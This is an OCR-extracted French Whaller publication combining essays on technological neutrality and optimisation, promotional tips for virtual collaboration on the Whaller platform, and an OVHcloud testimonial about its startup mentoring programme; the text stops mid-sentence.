https://blog.whaller.com/2023/09/12/la-qualification-secnumcloud-un-pas-de-geant-vers-la-securite-des-donnees-en-ligne/
https://blog.whaller.com/category/souverainete-numerique/

Techno-logique
ou techno-labyrinthe ?

Le parcours de la transformation numérique

Dans cet édito, je souhaite aborder la transformation numérique en m'interrogeant sur la neutralité de
la technologie et son impact sur nos sociétés. La transformation numérique, avec des outils comme

Whaller et les digital workplaces, faconne profondément nos modes de vie et de travail.

La technologie, souvent considérée comme neutre, n'est en réalité ni bonne ni mauvaise en
elle-méme. Elle reflete plutot les intentions et les utilisations de ceux qui la développent et la régle-
mentent. Comme le soulignait Tim Cook, c'est un miroir de nos ambitions et intentions. Pourtant,
comme |'a démontré le penseur Jacques Ellul, la technologie possede une ambivalence intrinseque,

produisant des effets indépendants de ses usages. Elle n'est donc pas neutre.

Cette perspective souléve des questions essentielles lorsqu'on considére la mise en place de digital
workplaces et l'intégration de plateformes comme Whaller. Ces espaces de travail numériques doivent
étre congus avec une compréhension profonde de leurs impacts potentiels - non seulement sur I'effi-
cacité et la productivité, mais aussi sur les aspects politiques, économiques, sociaux, organisation-

nels, culturels et écologiques.

La transformation numérique offre des possibilités immenses pour améliorer la collaboration, la com-
munication et la gestion des données. Cependant, elle doit étre abordée avec prudence et responsabi-
lité. Les digital workplaces comme Whaller offrent des opportunités uniques pour renforcer la souve-
raineté numérique et la protection des données, mais elles nécessitent une réflexion approfondie sur

leurs effets a long terme.

En conclusion, alors que nous naviguons dans cette ere de transformation numérique, il est impératif
de reconnaitre I'ambivalence de la technologie et d'agir avec clarté et responsabilité. Les digital work-
places ne sont pas seulement des outils de productivité, mais des instruments qui fagconnent notre

avenir. C'est dans cette optique que nous devons les concevoir et les utiliser.

Grégory Saccomani
Directeur Marketing et Communication
Whaller
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La technologie
est-elle neutre ?

Les technologies impactent
nos sociétés. Les avantages
qu'elles apportent sont nom-
breux : elles améliorent Ila
santé, la qualité de vie, la
diffusion de I'information, tout
en augmentant l'efficacité et
la productivité. Cependant,

chaque innovation technique

Transformation numérique

a des impacts de nature poli-

tique, économique, sociale,
organisationnelle, culturelle
et écologique. Quant a ses
conséquences, elles peuvent
étre plus ou moins impor-
tantes et ressenties sur des

horizons parfois lointains.
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Alors qu'elle fagconne nos
sociétés et nos modes de vie
depuis des décennies, Ia
technologie peut-elle étre

considérée comme neutre ?



Plusieurs personnalités du

monde de la technologie
défendent la neutralité inhé-
rente de la technologie. Parmi
celles-ci, Tim Berners-Lee, le
créateur du World Wide Web,
considere que les avantages
de la technologie sont bons ou
mauvais selon son utilisation.
Développer une technologie
peut étre bénéfique si ses pro-
cessus de création sont stric-
tement axés sur les besoins
des utilisateurs. Il explique que
les technologies de l'informa-
tion et de la communication
doivent étre comprises
comme des instruments a
usages multiples plutét que
comme des « entités actives »

influencant la société.

C'est aussi ce que pense Tim
Cook,

d’Apple, qui a déclaré que «

directeur général
Nous savons que la technolo-
gie n‘est ni bonne ni mauvaise
en soi ; c'est ce que nous en
faisons ». Pour lui, elle est un
miroir qui reflete les ambitions
et les intentions de ceux qui
l'utilisent, de ceux qui la
construisent et de ceux qui la
réglementent. La déclaration
de Tim Cook évoque la célébre
premiere loi de la technologie
de I'historien américain Melvin
Kranzberg (1917-1995) : « La

technologie n‘est ni bonne ni
mauvaise ; elle n‘'est pas non
plus neutre ». Remarquons
que le dirigeant d’Apple s'est
arrété avant la derniéere partie
- fondamentale en I'occur-
rence - qui pose le postulat
que la technologie n'est pas

neutre.

Cependant, des penseurs de
I'éthique de la technologie
contredisent ces affirmations
du « ni-ni ». Des le milieu du
XXe siecle, le penseur francais
Jacques Ellul a démontré dans
ses travaux, grace au concept
d’ « ambivalence de la techno-
logie » que la technologie
elle-méme a des effets indé-
pendamment de ses usages. Il
écrit que « La technologie
n‘est ni bonne, ni mauvaise, ni
neutre. » Il nous invite donc a
considérer les conséquences
de chaque avancée technolo-
gique avec clarté et prudence.
De la méme maniere qu'avec
un couteau on peut peler une
pomme ou tuer son voisin, il
est moralement erroné, par
exemple, de séparer les
usages criminels de lintelli-
gence artificielle de ceux

visant a guérir le cancer.

Par ailleurs, Jacques Ellul nous
fait prendre conscience des
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difficultés a appréhender les
effets de la technologie. Il
divise ces effets en trois caté-
gories : intentionnels, prévi-
sibles et imprévisibles. Comme
I'a montré la reconnaissance
faciale en France, certains
impacts sont difficilement pré-
visibles - par exemple, elle
offre des opportunités de
fraudes en cas de piratage.
Mais, au-dela de la question de
la prédiction, Jacques Ellul
soutient que plus un domaine
technologique progresse, «
plus la relation entre ce qui est
« bon » et « mauvais » devient
inextricable, plus le choix est
impossible, et plus la situation
est tendue, c’'est-a-dire moins
nous pouvons échapper aux
effets ambivalents du sys-

teme. »

Fort de ces constats, dire que
la technologie est neutre
apparait donc comme un
leurre. Alors, que faire ? Faut-il
se résigner a la complexité du

probleme et son insolubilité ?

Jacques Ellul nous propose de
faire appel a la retenue afin de
répondre a ce constat : « Tout
bonheur humain se paie, et il
faut toujours se demander

quel prix on paiera. ».


https://fr.wikipedia.org/wiki/World_Wide_Web
https://fr.wikipedia.org/wiki/Tim_Cook
https://en.wikipedia.org/wiki/Melvin_Kranzberg
https://fr.wikipedia.org/wiki/Jacques_Ellul

En effet, face aux effets nocifs
échappant a tout contréle
durable, il faut faire preuve de
prudence et de responsabilité
dans le développement et
l'utilisation des nouvelles
technologies. Nous devons
prendre conscience des défis
et des limites de la technologie
et s'interroger sur la nécessité
de mettre en place une régle-
mentation appropriée pour

protéger les individus.

C'est ce que semble penser
Tim Cook qui a déclaré que «
Ceux d'entre nous qui créent
la technologie et établissent
les regles qui la régissent ont
une profonde responsabilité
envers les personnes que
nous servons. Assumons cette
responsabilité. » Sa déclara-
tion faisait écho aux actions
que les leaders de l'industrie,
les GAFAM notamment, ont
commencé a mettre en place,
comme les comités d'éthique
OU « cours suprémes », pour
identifier les principes et les
valeurs auxquels ils adherent
et délimiter le périmetre de
leurs responsabilités.

Notons que la question de la
régulation de [linnovation
technologique est désormais

au cceur du développement

fulgurant de I'intelligence arti-
ficielle. C'est ce que le créateur
de ChatGPT, Sam Atman,
pense. Selon lui, des IA «
potentiellement terrifiantes
[..] vecteurs de destruction de
I'humanité » vont arriver. « La
société a besoin de temps
pour

s'adapter a quelque

chose daussi massif »
ajoute-t-il. Sa mise en garde a
été suivie par celle d’'Elon Musk
et de centaines d'experts
mondiaux qui ont récemment
signé un appel a une pause de
six mois dans la recherche sur
les IA en évoquant « des
risques majeurs pour I'huma-
nité ». lls demandent un mora-
toire jusqu’a la mise en place
de systemes de surveillance
des systemes d’'IA et des auto-
rités réglementaires dédiées
afin de permettre de distin-
guer le réel de l'artificiel. Sans
quoi il y aura des « perturba-
tions économiques et poli-
tiques dramatiques (en parti-
culier pour la démocratie) que

I'lA provoquera ».
Ces appels démontrent ainsi

gue la technologie est bien
tout sauf neutre.
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La place des nouvelles
technologies dans l'optimisation
de notre quotidien

Transformation numérique

C'est un dimanche aprées-midi.
Vous étes assis sur votre
canapé, un verre a la main et
discutez paisiblement avec un
ami. Tout semble aller pour le
mieux quand, soudain, la
montre a votre poignet se met
a vibrer. Une notification vous
informe que votre taux de

sucre dans le sang est supé-

rieur a votre moyenne habi-

tuelle. Huit minutes de marche
supplémentaires sont néces-
saires. Une légeére angoisse
Comment

monte. vais-je

rattraper cela ?

Sinous reprenons I'exemple de
la montre, il semble Iégitime de

faire de l'exercice, d'avoir un

19

corps sain. Mais est-ce que
cette angoisse, qui n‘aurait pas
existé sans la technologie,
était bien nécessaire ? Nau-
rait-il pas mieux fallu pouvoir
pleinement profiter de cette
apres-midi entre amis sans

angoisse ?



Ainsi il parait légitime de s'in-
terroger sur le sens que peut
avoir le fait d'améliorer sans
cesse nos outils. Pour ce faire
nous allons d‘abord réfléchir a
ce gqu’est l'optimisation avant
de revenir sur le tournant ana-
lytique des vingt dernieres

années.

L'optimisation, une
idée d’'ordre écono-
mique

Pour le dictionnaire Larousse,
optimiser signifie : « Donner a
quelgue chose, a une ma-
chine, a une entreprise, etc., le
rendement optimal en créant
les conditions les plus favo-
rables ou en en tirant le meil-

leur parti possible. »

Ce qui frappe dans cette défi-
nition, ce sont les deux pre-
miers exemples qui nous sont
donnés : la machine et I'entre-
prise. Loptimisation est avant
tout liée a un perfectionne-
ment du rendement.
C'est-a-dire gqu’'on optimise un
produit de départ pour en avoir
Lidée est de

gagner plus d'argent en ven-

un meilleur.

dant un meilleur produit. Seu-
lement qu'est-ce gu'un meil-
leur produit ? Tout repose sur

la performance. La capacité
du produit a effectuer sa mis-
sion de la maniere la plus
rapide, la plus conforme et

donc la plus optimale.

Loptimisation d'un produit de
masse oblige néanmoins la
considération  suivante

est-ce que tous les individus
ont les mémes criteres pour
juger cette performance ? Un
sportif de haut niveau aux
Etats-Unis n‘aura pas la méme
attente que celle d'un joggeur
de |'Ouest parisien. Or tous
deux utilisent la méme montre

connectée.

C'est la raison pour laquelle de
plus en plus de marques ont
développé des produits que
I'on peut personnaliser. Tout le
monde dispose de la méme
machine, mais a partir d'un
programme originel nous pou-
vons modifier sa maniere d'in-
teragir avec nous.

Mais si la personnalisation

d'une montre connectée
semble une bonne chose, que
penser de la personnalisation
des réseaux sociaux. Du fait
que plus nous adhérons a un
mode de pensée plus les
réseaux nous amenent a
penser de cette méme ma-
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niere ? Dans ce cas-la, I'opti-
misation et la personnalisation
semblent étre plutot négatifs.
Pour y réfléchir, il semble
nécessaire de se demander :
comment en sommes-nous

arrivés la ?

Le développement
d’Internet et I'émer-
gence de nouveaux
métiers

L'optimisation est un proces-
sus global dans une société de
consommation ou I'objectif est
de vendre toujours plus et
toujours mieux. Néanmoins, il
semble que le développement
du « Big Data » a conduit a une
précision toujours plus puis-
sante quant aux godts et aux
attentes des utilisateurs de
tous types de produits. Ainsi,
comprendre le lien entre inter-
net et I'optimisation peut per-
mettre de mieux saisir cette
caractéristiqgue du monde mo-
derne.

En effet,
d'internet a conduit au stoc-

le développement

kage d'une immense base de
données.



Elle provient de toutes les
interactions effectuées en
ligne. Voila pourquoi depuis
une vingtaine d'années un
nouveau métier a vue le jour: «
Data Analyst » (analyste data).
Ceux-ci ont pour mission dans
les entreprises de lier des don-
nées entre elles pour arriver a
faire des bilans. Leur role est
de modéliser les statistiques
en tableaux de chiffres. Et ces
modeles sont désormais répu-
tés aupres des directions pour
leur précision et leur apport
stratégique.

Cependant, la précision d'un
tableau et l'optimisation d'un
produit ne veut pas dire que la
vie de l'utilisateur est réelle-
ment améliorée. C'est I'un des
probléemes fondamentaux de
cette logique. Les criteres de
I'optimisation sont avant tout
quantitatifs, analytique et
économiques. lls paraissent
mettre de c6té une dimension

plus simple, plus humaine.

Nous ne sommes pas seule-
ment attachés aux outils et
aux objets pour leur efficacité
mais aussi pour leur beauté
par exemple. Conserver un
vieux livre usé n'est pas opti-
mal puisqu’il n‘'est pas certain

qu'il survive a une prochaine

lecture intensive. Mais nous
pouvons aimer les souvenirs
gue nous avons de cet objet.
Ce sont ces dimensions sym-
boliques qui échappent a la
logique du marché.

Cette derniere considération a
propos d’'une qualité immaté-
rielle et inquantifiable, va de
pair avec le mouvement de la
personnalisation au sein de
I'optimisation. Sans doute le
prochain tournant analytique
sera de prendre en compte ses
désirs chez chaque personne
et de parvenir a aller au-dela.
On peut imaginer que des
entreprises importantes cher-
cheront a créer de plus en plus
d'objets adaptés aux besoins
de chaque individu dans une
démarche de personnalisation
extréme - comme, c'est déja le
cas du sur-mesure dans la
couture. Ce nouvel enjeu
suivrait la logique d'une socié-
té dans laquelle l'individu est
considéré comme autonome
et singulier. Optimiser devien-
drait alors synonyme d‘adap-

ter.
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10 Consells pour une transition
réussie vers une collaboration
virtuelle en entreprise

Transformation numérique

>
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De nos jours, la collaboration virtuelle est devenue la norme incontournable. La pandémie de
COVID-19 a incontestablement accéléré cette tendance, forcant de nombreuses entreprises a
s‘adapter rapidement a un environnement de travail en ligne. Cependant, réussir dans cette nou-
velle ére de travail nécessite bien plus que de simples réunions Zoom et des échanges d’e-mails. Il
faut une plateforme de collaboration solide et des pratiques efficaces pour tirer le meilleur parti de
cette transition.
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L'importance de la Col-
laboration Virtuelle

La collaboration virtuelle
transcende les frontieres géo-
graphiques et permet aux
entreprises de recruter des
talents du monde entier, d'op-
timiser les codts et de mainte-
nir une continuité des opéra-
tions, méme en cas de pertur-
bations majeures. Cependant,
pour réussir dans ce nouvel
environnement, il est essentiel
de choisir les bons outils et
d'adopter des méthodes de

travail appropriées.

1. Choisissez la bonne
plateforme de collabo-
ration

La premiere étape cruciale
pour une collaboration
virtuelle réussie est de sélec-
tionner la plateforme adaptée
a vos besoins. Parmi les
options disponibles, Whaller se
distingue en offrant des fonc-
tionnalités de communication
sécurisées et une interface
conviviale. Il est impératif de
vous assurer que la plateforme
que vous choisissez répond
spécifiquement aux exigences

de votre entreprise.

La polyvalence de Whaller

Whaller brille par sa polyva-
lence, permettant a une varié-
té d'entreprises, des petites
startups aux grandes entre-
prises, de personnaliser leurs
espaces de travail virtuels en
fonction de leurs besoins
uniques. Sa sécurité de pointe
et son interface intuitive en
font une option attrayante
pour les entreprises de toutes

tailles.

2. Etablissez des ob-
jectifs clairs

Avant d'entamer la transition
vers la collaboration virtuelle,
prenez le temps de définir des
objectifs clairs pour votre
équipe. Qu’'espérez-vous
accomplir grace a cette transi-
tion ? Des objectifs bien défi-
nis servent de boussole pour
maintenir tout le monde sur la

méme longueur d'onde.

Alignement des Objectifs

Lalignement des objectifs est
essentiel pour garantir que
chaque membre de I'équipe
comprend la vision globale de
I'entreprise et travaille vers
des résultats cohérents. Des
objectifs spécifiques, mesu-
rables,

atteignables, perti-

nents et limités dans le temps
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(SMART) offrent une orienta-

tion claire.

3. Formation et sensi-
bilisation

Assurez-vous que tous les
membres de votre équipe sont
formés a I'utilisation de la
plateforme de collaboration
virtuelle choisie. Organisez
des sessions de formation
pour garantir que chacun mai-

trise les outils a sa disposition.

Investir dans la Formation
Investir dans la formation est
un investissement dans la
productivité future. Plus votre
équipe est a laise avec la
technologie et les pratiques de
travail virtuelles, plus elle peut
tirer parti de ces outils pour
atteindre ses objectifs.

4. Créez un espace de
travail structuré
Exploitez les fonctionnalités
de votre plateforme, telles que
les « sphéres » proposées par
Whaller,
espaces de travail structurés,

pour créer des
adaptés a différents projets ou
équipes. Cette organisation
contribue a maintenir l'ordre et

facilite la navigation.


https://whaller.com/fr/features/collab-tools

L'Efficacité de la Structuratio
La structuration de I'espace de
travail réduit la confusion,
permet une meilleure gestion
de l'information et favorise la
collaboration ciblée. Les
équipes peuvent ainsi se
concentrer sur leurs taches
spécifiques sans étre submer-
gées par des informations

superflues.

5. Encouragez une
communication trans-
parente

La communication transpa-
rente est essentielle dans un
environnement de travalil
virtuel. Encouragez active-
ment les membres de I'équipe
a partager des mises a jour
régulieres et a poser des ques-
éliminer toute

tions pour

confusion.

La Communication comme
Colle Sociale

Dans un contexte virtuel, la
communication ne se limite
pas aux taches profession-
nelles, elle joue également un
role crucial dans le maintien
des liens sociaux au sein de
I'équipe. Les conversations
informelles peuvent contri-
buer a renforcer la cohésion et

a prévenir I'isolement.

6. Utilisez les fonction-
nalités collaboratives

Whaller propose une gamme
compléte de fonctionnalités
collaboratives, telles que le
partage de fichiers, la co-créa-
tion de documents, les vidé-
oconférences, les discussions
en groupe et les sondages.
Exploitez ces outils pour amé-
liorer la productivité de votre

équipe.

La Puissance de la Collabora-
tion en Ligne

Les outils de collaboration en
ligne ne se limitent pas a la
communication. s per-
mettent également le partage
instantané de documents et la
collaboration en temps réel, ce
qui peut considérablement
accélérer la réalisation des

projets.

7. Etablissez des réu-
nions réguliéres
Planifiez des réunions

virtuelles  régulieres  pour
maintenir un contact humain
essentiel avec votre équipe.
Servez-vous des fonctionnali-
tés de rappel et d'invitation
pour garantir la participation

de tous.
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Le Contact Humain Virtuel
Méme dans un environnement
virtuel, les réunions restent un
moyen crucial de discuter des
progres, de résoudre les pro-
blemes et de favoriser la colla-
boration. Les rappels et invita-
tions automatisés assurent
que personne n'est laissé de
coté.

8. Respectez lavie
privée et la sécurité
Assurez-vous que la vie privée
et la sécurité des données
occupent une place centrale.
Whaller offre des options de
sécurité avancées pour proté-
ger les informations sensibles,
ce qui en fait un choix judi-
cieux pour les entreprises

soucieuses de la sécurité.

La Sécurité des Données

La protection des données est
essentielle, que ce soit pour
les informations confiden-
tielles de I'entreprise ou les
données personnelles des em-
ployés. Whaller propose des
mécanismes de  sécurité
robustes pour garantir une
collaboration en ligne en toute

confiance.


https://whaller.com/fr/features/communication

9. Encouragez la flexi-
bilité

L'un des avantages clés de la
collaboration virtuelle est la
flexibilité.

équipe a tirer parti de cette

Encouragez votre
flexibilité ~ pour  améliorer
I'équilibre entre vie profes-
sionnelle et vie personnelle,
favorisant ainsi le bien-étre de

tous.

L'Equilibre Travail-Vie Per-
sonnelle

La collaboration virtuelle
permet aux employés de
mieux gérer leur temps, ce qui
peut contribuer a réduire le
stress lié au travail et a amélio-
rer la satisfaction globale au

travail.

10. Evaluez et Adaptez
en Continu

Enfin, n'oubliez pas d'évaluer
régulierement votre transition
vers la collaboration virtuelle.
Soyez prét a apporter des
ajustements en fonction des
retours d'expérience de votre
équipe, car l'adaptabilité est la
clé du succes continu.

L'Importance de I'’Adaptation
Le paysage de la collaboration
virtuelle évolue constamment,
avec de nouvelles technolo-
gies et de nouvelles pratiques

qui émergent. Restez a I'affit
des tendances et soyez prét a
ajuster votre approche en
conséquence. Lapprentissage
continu est essentiel pour
prospérer dans cet environne-

ment en constante évolution.

En conclusion, la transition
vers une collaboration
virtuelle réussie en entreprise
repose sur la sélection d'une
plateforme appropriée, des
objectifs clairs et une commu-
nication efficace. Whaller offre
un ensemble d'outils puis-
sants pour faciliter cette tran-
sition. En suivant ces 10
conseils, votre équipe peut
maximiser les avantages de la
collaboration virtuelle et pros-
pérer dans I'environnement de

travail moderne.

N'attendez plus pour faire de
votre entreprise un modele de
collaboration virtuelle efficace

grace a Whaller!

% Découvrez le retour d'ex-

périence de I'APEC.

! En savoir plus : Transfor-

mation Numérique.
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Réussir sa transition
vers une collaboration
virtuelle en entreprise

N
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https://blog.whaller.com/2022/12/13/federer-des-communautes-sur-une-plateforme-prete-a-lemploi/
https://blog.whaller.com/category/transformation-numerique/

Comment OVHcloud tire parti
de Whaller pour dynamiser
sa communication

OVHcloud est une entreprise
francaise leader européen du
cloud. lls fournissent a leurs
clients des solutions de cloud
public, de cloud privé, de ser-
veurs dédiés, de VPS. lIs font
également de I'hébergement
web, de la téléphonie et tout
cela pour leurs clients dans

140 pays a travers le globe. lls

Transformation numérique

¥ OVHcloud

Christopher
Apédo-Amah

comptent aujourd’hui plus de
1,6 million de clients. Parmi ses
clients se trouvent aussi des
C'est

cadre-la qu'OVHcloud, depuis

startups. dans ce
2015, accompagne les star-
tups dans le développement
de leur infrastructure serveurs
et les aide a basculer dans le
C'est
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cloud. dans ce

contexte-la qu’ils ont égale-
ment créé un programme de
mentoring qui leur permet de
mettre en relation leurs star-
tups avec des experts métiers
OVHcloud.


https://youtu.be/7xZmgbz-TCg

Comment avez-vous
connu Whaller ?

Whaller est client OVHcloud
depuis plusieurs années déja,
je connaissais a titre person-
nel un peu la solution, mais
c'est vraiment il y a trois ans,
en 2020 que nous avons
décidé de basculer sur cette
plateforme parce que le mar-
ketplace OVHcloud qui est un
autre programme de l'entre-
prise au méme titre que le
Startup Program, le pro-
gramme Open Trusted Cloud

aussi ou le Partner Program.

Le programme marketplace
utilisait déja la solution, ce qui
nous a vraiment aidé a bascu-
ler sur cette plateforme. D'au-
tant plus que Whaller partage
les mémes valeurs que nous
au niveau de la souveraineté
des données, au niveau de la
protection des données. Il faut
également savoir que Whaller
est dans une démarche de
certification = SecNumCloud.
Tous les éléments sont ras-
semblés pour que nous puis-
sions travailler main dans la

main ensemble.

Pourquoi le choix de
Whaller ?

Le mentoring est un projet

Notre but

c'est réellement d‘aider des

bien spécifique.

startups sur un challenge par-
ticulier, sur une problématique
gu'elles auraient dans le déve-
loppement de de leur activité
avec un mentor OVHcloud sur
une expertise métier. A ce
titre, nous cherchions vrai-
ment une plateforme qui
pourrait nous faire gagner du
temps, une plateforme
tout-en-un qui pourrait auto-
matiser certaines fonctions
comme la description des
mentors, le matchmaking
entre mentor et startup, la
communication aupres de
notre communauté de mento-
ring en sachant que nous utili-
sons depuis trois ans déja
Whaller mais plus pour l'ani-
mation de notre communauté

Startup.

Quelles étaient vos
attentes de l'outil ?

Globalement, nous avions
besoin d'une plateforme sur
laquelle nous pouvons réelle-
ment communiquer avec nos
membres sur le projet spéci-
figue de mentoring. Nous
avions aussi besoin donc de
créer des groupes par exper-
tise, par domaine d‘activité.

Pour cette troisieme session
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de mentoring, nous avons eu
de 36 mentors et ces 36 men-
tors se regroupent en dix
grands domaines d'expertises
tels que la communication, le

marketing et j'en passe.

Le but c'était vraiment d‘avoir
une plateforme qui nous per-
mettrait de dissocier facile-
ment les mentors pour que les
startups puissent facilement
trouver et postuler au mento-
ring avec le mentor qu'ils

auraient choisi.

Quels usages
faites-vous de Whaller
?

Nous utilisons Whaller pour
deux usages bien spécifiques :
le premier, c'est I'animation de
notre communauté au quoti-
dien. Il faut savoir qu'au sein
du Startup
OVHcloud, nous donnons de la

Program

visibilité a nos startups lors de
nos événements, lors d'appels
a projets aussi, nous travail-
lons avec beaucoup dautres
structures d’accompagne-
ment startup. Le but c'est
réellement de faire en sorte
qu’elles soient au courant de
toutes nos actualités qui

peuvent leur servir.



Ca c'est trés important pour
nous, l'aspect animation de la
communauté.

D'autre part, nous utilisons
Whaller

depuis I'année derniere sur le

aussi depuis peu,
programme de mentoring et
qui est un programme diffé-
rent et qui est plus limité dans

le temps.

Quelles fonctionnalités
vous sont utiles ?

Nous avons pas mal travaillé
avec Cléa Ancelly, Directrice
de I'expérience client chez
Whaller et qui nous avait déja
accompagnés au design de la
plateforme et du projet de
mentoring sur Whaller pour
Notre

notre communauté.

principale problématique,
c'était de bien dissocier I'ac-
compagnement et I'animation
de notre réseau de startup au
quotidien du projet de mento-

ring.

Pour cela, nous avons tout
d'abord créé des familles de
spheres, deux familles de
spheres: une liée a l'accompa-
gnement des startups et I'ani-
mation de nos startups au
quotidien et une autre dédiée

au mentoring. Cela a permis

aux startups de bien identifier
les deux canaux de communi-

cation qui sont différents.

Une de nos volontés, c'était
vraiment de bien mettre en
avant les mentors et leur
expertise pour que les star-
tups puissent facilement les
identifier. Pour cela, nous
avons rajouté des champs
spécifiques personnalisés aux
mentors sur leur mini profil.
Cela a vraiment permis aux
startups d'en savoir plus sur la
description de leurs mentors
et de pouvoir postuler en fonc-

tion.

Pour ce projet, nous avons
décidé de mettre en place des
spheres ouvertes pour per-
mettre aux startups de facile-
ment accéder aux spheres
sans invitation. Mais nous
pouvions étre confronté a une
problématique qui était celle
de ne pas bien dissocier donc
qui était qui ? C'est-a-dire les
mentors d'un c6té et les star-
tups.

Pour ce faire, nous avons
décidé d'attribuer un role spée-
cifique, un réle aux mentors et
un réle de gestionnaire men-
toring qui m'était attribué. Ca a
vraiment permis donc aux
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startups de facilement identi-
fier qui était qui dans ce projet
de mentoring. Par ailleurs, la
mise en place du rdle nous a
permis de facilement filtrer les
mentors et les startups dans le
moteur de recherche, ce qui
nous a fait gagner en efficaci-

s

té.

Comment Whaller

contribue a votre orga-
nisation ?
Au-dela de

notre communauté. Whaller

'animation de

est un outil tres efficace pour
fidéliser aussi ses clients, ses
membres. Parce qu’'une fois
gue l'année Startup Program
est terminée, nos membres
restent actifs sur la plate-
forme, ce qui nous permet de
continuer a échanger avec
eux, d'étre toujours en contact
avec nos membres alumni. En
plus de lI'aspect de fidélisation
des membres et de structura-
tion de la communauté.

Ce qui est vraiment intéres-
sant avec Whaller c'est la flexi-
bilité de

permet justement de s'adapter

la plateforme qui

a différents projets que nous
voulons mettre en place et
que nous pourrions mettre en

place a l'avenir.


https://blog.whaller.com/2022/04/26/rencontrez-nos-talents-clea-ancelly/
https://help.whaller.com/fr/article/familles-de-spheres-1nu3lvb/
https://help.whaller.com/fr/article/creer-des-champs-de-profils-1klsslp/
https://help.whaller.com/fr/article/les-spheres-10u9nwq/
https://help.whaller.com/fr/article/gestion-des-roles-des-droits-et-des-permissions-15g7lme/

En quelques mots
qgu'est-ce qui distingue
Whaller ?

Ce qui distingue Whaller, je

vais résumer ¢a en trois points

Le premier point, c'est la
souveraineté de la solu-
tion. D’autant plus que
Whaller est hébergé chez
OVHcloud.

Le deuxieme point, c'est
'accompagnement et la
proximité de l'accompa-
gnement qui nous permet
réellement de gagner du
temps dans la mise en
place du projet et dans
I'adoption de la solution par
les membres.

Le troisieme point c'est le
fait que les clients de
Whaller peuvent
eux-mémes participer a
I'amélioration continue de
la plateforme en suggé-
rant des modifications qui
seront prises en compte

dans leur roadmap.
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Les 5 mellleures pratiques
pour optimiser la collaboration
virtuelle

Transformation numérique

La collaboration virtuelle est au cceur de la maniére dont les entreprises fonctionnent aujourd’hui.
Que votre équipe soit répartie a travers le monde ou que vous cherchiez simplement a faciliter le
travail a distance, les outils de collaboration en ligne comme Whaller offrent des solutions puis-
santes. Dans cet article, nous vous guiderons a travers les meilleures pratiques pour améliorer I'effi-
cacité de votre collaboration virtuelle.
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https://whaller.com/fr/features/collab-tools

1. Créez des espaces
de travail dédiés

La premiere étape pour opti-
miser la collaboration virtuelle
avec Whaller est de créer des
espaces de travail dédiés. Ces
espaces servent de hubs cen-
traux ou les membres de
I'équipe peuvent se réunir,
discuter, partager des docu-
ments et collaborer en temps
réel. Chaque espace est concu
pour un projet spécifique ou
une équipe, ce qui permet une
organisation claire et la ges-
tion de plusieurs initiatives

sans confusion.

Pourquoi c’est impor-
tant ?
La création d’espaces
de travail dédiés aide a
« Centraliser les informa-
tions : Toutes les discus-
sions, documents et
taches liées a un projet ou
une équipe sont acces-
sibles au méme endroit,
éliminant la recherche fas-
tidieuse d’'informations
dispersées.
+ Faciliter la gestion : Les
responsables de projet
peuvent surveiller les pro-
gres, assigner des taches
et organiser les ressources

plus efficacement.

+ Réduire la clutter : En
évitant les fils de discus-
sions éparpillés et les

e-mails chaotiques, la col-

laboration

fluide.

devient plus

2. Utilisez les fonc-
tionnalités de messa-
gerie instantanée

La messagerie instantanée est
I'épine dorsale de la collabora-
tion virtuelle efficace. Whaller
offre des fonctionnalités de
chat en temps réel qui per-
mettent aux membres de
I'équipe de communiquer ins-
tantanément, qu'ils se
trouvent a quelques pas ou a
des milliers de kilomeétres les
uns des autres. Cette commu-
nication fluide encourage la

spontanéité et la réactivité.

Pourquoi c’'est impor-

tant ?

L'utilisation de la mes-

sagerie instantanée

permet de:

* Réduire les délais : Les
discussions sont instanta-
nées, ce qui élimine les
attentes causées par les
réponses aux e-mails.

- Favoriser la collaboration :

Les membres de I'équipe
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peuvent rapidement poser

des questions, partager
des idées et résoudre des
problemes en temps réel.

+ Créer un sentiment de
présence Méme a

distance, la messagerie

instantanée crée une sen-

sation de proximité entre

les membres de I'équipe.

3. Partagez et colla-
borez sur des docu-
ments

La collaboration virtuelle exige
un moyen efficace de partager
et de collaborer sur des docu-
ments. Whaller facilite cela en
permettant aux utilisateurs de
téléverser des fichiers directe-
ment dans leurs espaces de
travail. Vous pouvez ainsi col-
laborer sur des documents, les
réviser en temps réel et assu-
rer la cohérence de vos pro-
jets.

Pourquoi c’'est impor-

tant ?

Le partage et la collaboration

sur des documents offrent de

nombreux avantages, notam-

ment :

« Réduction des frictions :
Evite

fichiers par e-mail,

les échanges de


https://blog.whaller.com/2023/09/20/10-conseils-pour-une-transition-reussie-vers-une-collaboration-virtuelle-en-entreprise

qui peuvent entrainer des ver-

sions désynchronisées.

« Facilitation de la révision :
Plus besoin de jongler avec
des versions différentes.
Les modifications peuvent
étre apportées directe-
ment sur le document en
cours.

+ Centralisation des res-
sources : Tous les docu-

ments liés a un projet sont

accessibles depuis I'espace

de travail correspondant.

4. Planifiez des réu-
nions a distance

Bien que la communication
écrite soit essentielle, rien ne
remplace une réunion virtuelle
en face a face pour renforcer
la connexion entre les
membres de I'équipe. Whaller
propose des fonctionnalités
de planification et de tenue de
réunions virtuelles, ce qui faci-
lite l'organisation de ren-
contres collaboratives, de
discussions en temps réel et

de présentations visuelles.

Pourquoi c’est impor-
tant ?

La planification de réunions a
distance présente plusieurs

avantages:

«  Communication en temps
réel : Les réunions
virtuelles permettent des
discussions en direct,
éliminant les délais dans la
communication.
- Partage visuel Vous
pouvez partager des
écrans, des documents et
des présentations pour une
compréhension plus
approfondie.
« Maintien de la connexion
humaine Les réunions
visuelles renforcent les
relations et favorisent la
compréhension mutuelle,
ce qui est essentiel pour les

équipes distantes.

5. Priorisezla sécuri-

té et la confidentialité

La sécurité et la confidentialité
des données sont primordiales
lors de la collaboration
virtuelle. Whaller met I'accent
sur la protection des informa-
tions sensibles en proposant
des mesures de sécurité avan-
cées et un contréle d'acces
personnalisé. Cette approche
assure que seules les per-
sonnes autorisées ont acces

aux données cruciales.

Pourquoi c’est impor-
tant ?
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La sécurité et la confidentialité

sont cruciales pour:

« Protégerles données sen-
sibles En garantissant
gue vos informations sont
en sécurité, vous évitez les
fuites de données poten-
tielles.

« Construire la confiance :
Les membres de l'équipe
peuvent collaborer en
toute confiance, sachant
gue leurs informations sont
protégées.

« Conformité réglementaire
: En respectant les régle-
mentations de sécurité,
vous évitez des problemes
juridiques et des amendes

potentielles.

En optimisant la collaboration
virtuelle au sein de votre
équipe avec Whaller, vous
pouvez renforcer I'efficacité de
votre travail a distance. En
créant des espaces de travail
dédiés, en utilisant la messa-
gerie instantanée, en favori-
sant la collaboration sur des
documents, en organisant des
réunions virtuelles et en priori-
sant la sécurité, vous créez un
